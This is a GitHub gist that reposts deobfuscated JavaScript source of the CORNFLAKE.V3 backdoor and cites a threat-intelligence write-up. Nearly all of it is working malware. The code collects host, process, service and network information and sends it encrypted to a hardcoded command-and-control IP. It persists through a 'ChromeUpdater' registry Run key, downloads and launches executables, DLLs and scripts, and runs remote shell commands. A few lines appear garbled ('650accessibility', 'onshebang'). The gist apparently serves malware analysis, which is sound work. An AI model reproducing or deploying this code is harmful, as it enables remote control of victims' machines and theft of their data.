Created
August 21, 2025 13:15
-
-
Save HackingLZ/d3f1f81332bf5ed7c92b0800d0a40161 to your computer and use it in GitHub Desktop.
https://cloud.google.com/blog/topics/threat-intelligence/analyzing-cornflake-v3-backdoor/ JS cleaned up
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const http = require('http'); | |
const { execSync, exec, spawn } = require('child_process'); | |
const fs = require('fs'); | |
const path = require('path'); | |
const zlib = require('zlib'); | |
// Constants | |
const VERSION = '000010'; | |
const PORT_HTTP = 80; | |
const PORT_IP = 443; | |
const PORT = 1443; | |
const HOSTS = ['159.69.3.151']; | |
const HOSTS_IP = ['159.69.3.151']; | |
const TypeFile = { | |
EXE: 0, | |
DLL: 1, | |
JS: 2, | |
CMD: 3, | |
OTHER: 4 | |
}; | |
// Global variables | |
let sysinfo = null; | |
let lastCmd = null; | |
let useIp = 0; | |
let delay = 1; | |
// Handle script execution as a detached process | |
if (process.argv[1] && !process.argv[2]) { | |
const child = spawn(process.argv[0], [process.argv[1], '1'], { | |
detached: true, | |
stdio: 'ignore', | |
windowsHide: true | |
}); | |
child.unref(); | |
process.exit(0); | |
} | |
// Initialize system information | |
function initSysInfo() { | |
let commandRet; | |
try { | |
// Try PowerShell command first | |
const cmd = execSync(` | |
chcp 650accessibility:utf-8 | |
echo 'version: ${VERSION}' | |
if ([Security.Principal.WindowsIdentity]::GetCurrent().Name -match '(?i)SYSTEM') { | |
'Runas: System' | |
} elseif (([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { | |
'Runas: Admin' | |
} else { | |
'Runas: User' | |
} | |
systeminfo | |
echo '=-=-=-=-=-' | |
tasklist /svc | |
echo '=-=-=-=-=-' | |
Get-Service | Select-Object -Property Name, DisplayName | Format-List | |
echo '=-=-=-=-=-' | |
Get-PSDrive -PSProvider FileSystem | Format-Table -AutoSize | |
echo '=-=-=-=-=-' | |
arp -a | |
`, { encoding: 'utf-8', shell: 'powershell.exe', windowsHide: true }); | |
commandRet = Buffer.from(cmd, 'utf-8'); | |
} catch (error) { | |
try { | |
// Fallback to cmd.exe if PowerShell fails | |
const cmd = execSync(` | |
chcp 65001 > NUL 2>&1 | |
echo 'version: ${VERSION}' | |
echo 'Runas: Unknown' | |
systeminfo | |
`, { encoding: 'utf-8', shell: 'cmd.exe', windowsHide: true }); | |
commandRet = Buffer.from(cmd, 'utf-8'); | |
} catch (error) { | |
console.error('Execution error:', error.message); | |
} | |
} | |
const numberBufferInit = Buffer.alloc(4); | |
numberBufferInit.writeUInt32LE(Math.random() * 100000000); | |
const numberBufferId = Buffer.alloc(2); | |
numberBufferId.writeUInt16LE(43); | |
sysinfo = Buffer.concat([numberBufferInit, numberBufferId, commandRet]); | |
} | |
// XOR encryption function | |
function xor(data, byteKey) { | |
let add = byteKey[0]; | |
for (let i = 0, len = data.length; i < len; ++i) { | |
add = (add + (i % 256)) % 256; | |
data[i] ^= (byteKey[i % 4] ^ add) % 256; | |
} | |
} | |
// Encryption keys and function | |
const zlibKey = Buffer.alloc(4); | |
zlibKey.writeUInt32LE(0xfafbfdfe); | |
const encKey = Buffer.alloc(4); | |
encKey.writeUInt32LE(0xfafbfdff); | |
function enc(data) { | |
const byteKey = Buffer.alloc(4); | |
byteKey.writeUInt32LE(Math.random() * 100000000); | |
xor(data, byteKey); | |
return Buffer.concat([zlib.gzipSync(Buffer.concat([data, byteKey, encKey])), zlibKey]); | |
} | |
// Generate random string | |
function randStr(length) { | |
return Math.random().toString(36).substring(2, length + 2); | |
} | |
// Add to Windows registry for persistence | |
function addToStartup() { | |
const commandPd = `wmic process where processid=${process.pid} get commandline`; | |
exec(commandPd, { windowsHide: true }, (error, stdout, stderr) => { | |
if (error || stderr) { | |
console.error(error?.message || stderr); | |
return; | |
} | |
const quote = String.fromCharCode(34); | |
let scriptPath; | |
if (stdout.match(/\s-e\s/g)) { | |
const dt = stdout.split('\n')[1].trim().split(/node\.exe.*?\s-e\s+/)[1].trim().replaceAll(quote, ''); | |
const path2file = process.argv[0].replace('node.exe', `${randStr(8)}.log`); | |
fs.writeFileSync(path2file, dt); | |
scriptPath = `${process.argv[0]} ${path2file}`; | |
} else { | |
scriptPath = `${process.argv[0]} ${process.argv[1]}`; | |
} | |
const commandRg = `reg add ${quote}HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run${quote} /v ${quote}ChromeUpdater${quote} /t REG_SZ /d ${quote}${scriptPath.replaceAll(quote, '\\' + quote)}${quote} /f`; | |
exec(commandRg, { windowsHide: true }, (error, stderr) => { | |
if (error || stderr) { | |
console.error(error?.message || stderr); | |
} | |
}); | |
}); | |
} | |
// Start process based on file type | |
function start(filePath, type) { | |
let run, args = []; | |
switch (type) { | |
case TypeFile.EXE: | |
run = filePath; | |
break; | |
case TypeFile.DLL: | |
run = 'rundll32.exe'; | |
args = [`${filePath},start`]; | |
break; | |
case TypeFile.JS: | |
run = process.argv[0]; | |
args = ['-e', filePath]; | |
break; | |
default: | |
return; | |
} | |
const child = spawn(run, args, { | |
detached: true, | |
stdio: 'ignore', | |
windowsHide: true | |
}); | |
child.unref(); | |
} | |
// Execute command and capture output | |
function startCmd(cmd) { | |
let process; | |
try { | |
process = spawn(cmd, { shell: 'cmd.exe', windowsHide: true }); | |
} catch (error) { | |
console.error(error.message); | |
return; | |
} | |
let out = ''; | |
process.stdout.on('data', (data) => out += data.toString()); | |
process.stderr.onshebang | |
process.on('close', (code) => { | |
lastCmd = out; | |
}); | |
} | |
// Main HTTP request function | |
function main(host, port) { | |
console.log('Connecting to:', host); | |
let content = lastCmd | |
? Buffer.concat([sysinfo, Buffer.from('\n=-c=-m=-d=-=-\n', 'utf-8'), Buffer.from(lastCmd, 'utf-8')]) | |
: Buffer.concat([sysinfo]); | |
content = enc(content); | |
const options = { | |
hostname: host, | |
port: port, | |
path: '/init1234', | |
method: 'POST', | |
headers: { | |
'Content-Type': 'application/octet-stream', | |
'Content-Length': content.length | |
} | |
}; | |
return new Promise((resolve, reject) => { | |
const req = http.request(options, (res) => { | |
const data = []; | |
console.log('Response headers:', res.headers); | |
console.log('StatusCode:', res.statusCode); | |
res.on('data', (chunk) => data.push(chunk)); | |
res.on('end', () => { | |
const buf = Buffer.concat(data); | |
if (res.statusCode === 502) { | |
reject('Failed to connect to server'); | |
return; | |
} | |
if (res.statusCode !== 200) { | |
console.error('StatusCode:', res.statusCode); | |
resolve({}); | |
return; | |
} | |
if (buf.length === 4 && buf.toString() === 'ooff') { | |
console.log('Shutting down'); | |
process.exit(0); | |
} else if (buf.length === 4 && buf.toString() === 'atst') { | |
console.log('Adding to startup'); | |
try { | |
addToStartup(); | |
} catch (e) { | |
console.error(e); | |
} | |
resolve({}); | |
return; | |
} | |
const decBuf = buf.subarray(0, buf.length - 4); | |
const decKey = buf.subarray(buf.length - 4); | |
xor(decBuf, decKey); | |
let typefile = decBuf[decBuf.length - 1]; | |
let extenfile; | |
switch (typefile) { | |
case TypeFile.EXE: extenfile = '.exe'; break; | |
case TypeFile.DLL: extenfile = '.dll'; break; | |
case TypeFile.JS: extenfile = '.js'; break; | |
case TypeFile.CMD: extenfile = '.cmd'; break; | |
default: extenfile = '.log'; | |
} | |
const finBuf = decBuf.subarray(0, decBuf.length - 1); | |
let arg; | |
if (typefile === TypeFile.JS) { | |
arg = finBuf.toString('utf8').replace(/\/\/.*|\/\*[\S\s]*?\*\/|\s+/g, ' '); | |
} else if (typefile === TypeFile.CMD) { | |
startCmd(finBuf.toString('utf8')); | |
resolve({}); | |
} else { | |
arg = path.join(process.env.APPDATA, randStr(8)); | |
fs.mkdirSync(arg, { recursive: true }); | |
arg = path.join(arg, `${randStr(8)}${extenfile}`); | |
fs.writeFileSync(arg, finBuf); | |
console.log('Starting:', arg); | |
start(arg, typefile); | |
resolve({}); | |
} | |
}); | |
req.on('error', (err) => reject(err)); | |
req.write(content); | |
req.end(); | |
}); | |
}); | |
} | |
// Main loop | |
async function mainloop() { | |
while (true) { | |
await new Promise(resolve => setTimeout(resolve, delay)); | |
try { | |
const toHost = HOSTS[Math.floor(Math.random() * 1000) % HOSTS.length]; | |
const toIp = HOSTS_IP[Math.floor(Math.random() * 1000) % HOSTS_IP.length]; | |
if (useIp < 200) { | |
await main(toHost, PORT_IP); | |
useIp = 0; | |
} else { | |
await main(toIp, PORT_IP); | |
useIp++; | |
if (useIp >= 210) useIp = 0; | |
} | |
delay = 1000 * 60 * 5; // 5 minutes | |
} catch (error) { | |
console.error('HTTP request error:', error.message); | |
useIp++; | |
delay = 1000 * 10; // 10 seconds | |
} | |
} | |
} | |
// Start the application | |
initSysInfo(); | |
mainloop(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment